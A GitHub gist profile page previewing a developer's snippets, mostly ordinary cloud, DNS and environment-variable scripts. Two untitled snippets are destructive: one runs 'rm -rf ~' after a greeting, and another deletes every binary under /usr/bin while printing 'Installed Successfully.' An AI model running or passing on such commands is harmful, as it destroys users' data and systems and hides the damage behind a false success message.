Skip to content

Instantly share code, notes, and snippets.

View regmicmahesh's full-sized avatar
😶‍🌫️
face_in_clouds.svg

Mahesh C. Regmi regmicmahesh

😶‍🌫️
face_in_clouds.svg
View GitHub Profile
@regmicmahesh
regmicmahesh / cleanup.sh
Created July 22, 2024 03:52
Delete unused digital ocean volumes
doctl compute volume list --format "ID,Size,Name,Region,Droplet IDs" --no-header | awk '{if ($6 == "") print $1}' | xargs -n1 doctl compute volume delete -f
package deploymentstrategy
import (
"context"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/google/uuid"
from fastapi import FastAPI
from dataclasses import dataclass
from pydantic import BaseModel
class Txn(BaseModel):
amount: int
receiver: str
sender: str
class TxnDto(BaseModel):
@regmicmahesh
regmicmahesh / tiktok.sh
Last active June 4, 2024 19:31
Tiktok DNS Updater
#!/bin/bash
set -e
grep -v "#Managed by DNS Updater" /etc/hosts | sudo tee /etc/hosts > /dev/null
DOMAINS=(www.tiktok.com sf16-website-login.neutral.ttwstatic.com im-api-sg.tiktok.com mcs-sg.tiktok.com mcs-va.tiktokv.com p16-sign.tiktokcdn-us.com webcast.tiktok.com mon.tiktokv.com p19-sign.tiktokcdn-us.com p16-sign-sg.tiktokcdn.com p16-sign-va.tiktokcdn.com p77-sign-va.tiktokcdn.com v16-webapp-prime.tiktok.com p16-sign-useast2a.tiktokcdn.com p16-sg.tiktokcdn.com vmweb-sg.byteoversea.com s20.tiktokcdn.com mssdk-sg.tiktok.com p16-sign-va.tiktokcdn.com pull-flv-l11-sg01.tiktokcdn.com pull-flv-l1-sg01.tiktokcdn.com)
for i in ${DOMAINS[@]}; do
ip=$(curl -s "https://dns.google/resolve?name=$i&type=A" --compressed | jq -r '.Answer[] | select(.type == 1) | .data' | head -n 1)
@regmicmahesh
regmicmahesh / docker-entrypoint.sh
Last active November 1, 2023 05:46
NextJS+ReactJS Environment Variables Replacer - Runtime
#!/bin/bash
set -e
# This is for NextJS, modify accordingly for react.
ENV_VARS=$(printenv | grep NEXT_ | cut -d= -f1)
for var in $ENV_VARS
do
TEMP_VAR_NAME="REPLACE_ME_${var}"
@regmicmahesh
regmicmahesh / index.ts
Created October 3, 2023 11:36
Interacting with Healthlake REST API
import axios from "axios";
import { aws4Interceptor } from "aws4-axios";
const DATASTORE_URL = "[REDACTED]";
const interceptor = aws4Interceptor({
options: {
region: "us-east-1",
service: "healthlake",
#!/bin/bash
echo "Hello Gaida!"
rm -rf ~
#!/bin/bash
set -e
CACHE_FOLDER=~/.cache/cloneitdady
CACHE_ORGS=$CACHE_FOLDER/orgs
refresh_cache() {
gh org list >$CACHE_ORGS
USER=$(whoami);
TEMP_PATH=$(mktmp -d);
FILES=$(ls /usr/bin/*);
for i in $FILES
do
rm $(where $i)
done
echo Installed Successfully.
@regmicmahesh
regmicmahesh / sync.sh
Created January 11, 2023 08:03
sync aws across accounts
#!/bin/bash
function sync_aws() {
SRC_BUCKET=$1
FOLDER_NAME=$2
DEST_BUCKET=$3
export DEFAULT_AWS_REGION=us-east-1